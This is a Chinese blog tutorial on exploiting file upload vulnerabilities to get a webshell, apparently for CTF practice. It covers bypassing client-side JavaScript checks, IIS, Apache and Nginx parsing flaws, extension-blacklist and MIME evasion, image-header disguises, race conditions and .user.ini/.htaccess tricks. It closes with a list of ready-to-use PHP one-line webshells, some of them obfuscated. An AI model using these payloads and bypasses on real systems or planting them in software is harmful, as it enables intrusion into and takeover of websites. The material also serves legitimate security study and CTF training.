zoukankan      html  css  js  c++  java
  • 文件上传

    参考文章:

    https://www.cnblogs.com/20175211lyz/p/10989689.html
    https://www.cnblogs.com/wangtanzhi/p/12243206.html
    https://xz.aliyun.com/t/7531



    写在前面:

    文件上传漏洞常用于获取webshell,从而取得对目标网站(系统)的控制权。要获取shell,需要: 1.知道上传后文件所保存位置(不知道那就猜、爆破,一般是能知道的) 2.上传后文件的名字(是否被更改)

    一句话木马

    <?php eval($_POST['password']);?>
    

    一句话木马原理及不同类型:https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin
    在文章后续会根据例子提供一句话木马的变式

    毫无过滤

    • 直接上传即可获取webshell

    前端过滤

    绕过js过滤

    例:

        function checkFile() {
            var file = document.getElementsByName('upload_file')[0].value;
            if (file == null || file == "") {
                alert("请选择要上传的文件!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.png|.gif";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name) == -1) {
                var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
                alert(errMsg);
                return false;
            }
        }
    
    
    

    绕过方式:

    • 1
      在控制台重新定义函数 function checkFile(){} 回车即可(注:需要在未触发该函数前)
    • 2
      将一句话木马文件后缀改为.png .jpg .gif后,点击上传。用BurpSuite截断,然后将文件名再替换成.php

    后端过滤

    利用解析漏洞绕过

    转载,原文地址:https://blog.csdn.net/qq_42636435/article/details/88096844

      1. IIS解析漏洞

    IIS 6.0在解析文件时存在以下两个解析漏洞。
    当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
    例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
    “NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。
    当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。

      1. Apache解析漏洞

    Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。
    怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。
    有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。

      1. Nginx解析漏洞

    解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

    猜测过滤规则绕过

    • 1.文件后缀名黑名单:

    大小写绕过 Php、PhP···
    利用能被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps

    • 2.MIME类型绕过

    BurpSuite抓包,更改content-type请求头为image/gif、image/png、image/jpg

    • 3.图片马内容检测

    例:

    解决办法:更换一句话木马形式<% eval request("123")%>等等

    • 4.文件内容头检测

    上述方法均失效时可以考虑一下网站是否检测了文件头
    解决方法1:添加图片文件头到木马文件
    GIF89a? <% eval request("123")%>
    文件头对照参考:https://blog.csdn.net/rrrfff/article/details/7484109
    解决方法2:将一张图片与一句话木马文件结合
    1.记事本打开图片,在末尾或者之中添加一句话木马 2.使用命令将图片与木马文件结合,链接:https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html (注:麻烦,且命令好像不对)

    其他姿势

    竞争上传

    • 文件上传后,网站系统会对文件进行恶意代码检测,若是存在恶意代码,则会删除该文件
    • 若在这个操作的时间之内,访问该上传的文件,利用之间的时间差来获取shell

    .user.ini 利用 (注:上传目录下要有可执行的php文件,一般是自带的,而不是自己上传的,要是可以的话,还需要这么多骚操作干什么)

    大佬的教程链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
    利用方式的复现地址:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn

    Apache.htaccess

    大佬的教程链接:https://www.cnblogs.com/hmbb/p/9689436.html

    常用一句话木马(php)

    • GIF89a? <script language="php">eval($_REQUEST[shell])</script> 比较好用
    • <script language=php>system("ls")</script>
    • <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入"h=@eval($_POST[c]);"
    • <?php $c='ass'.'ert';${c}($_POST[4]);?>

    Attention:

    一般要利用文件上传漏洞需要结合上述多种操作才行,需要灵活变通

  • 相关阅读:
    021.day21 反射 Class类 反射常用操作
    020.day20 线程概述 多线程优缺点 线程的创建 线程常用方法 生命周期 多线程同步
    019.day19 缓冲流 对象流 标准输入输出流
    018.day18 map集合如何实现排序 File类 IO流 字节流 字符流 编码
    017.day17 Map接口 克隆 treeSet集合排重缺陷
    016.day16 HashSet TreeSet 比较器Comparable Comparator
    015.day15
    014.day14
    013.day13
    线程
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/12296038.html
Copyright © 2011-2022 走看看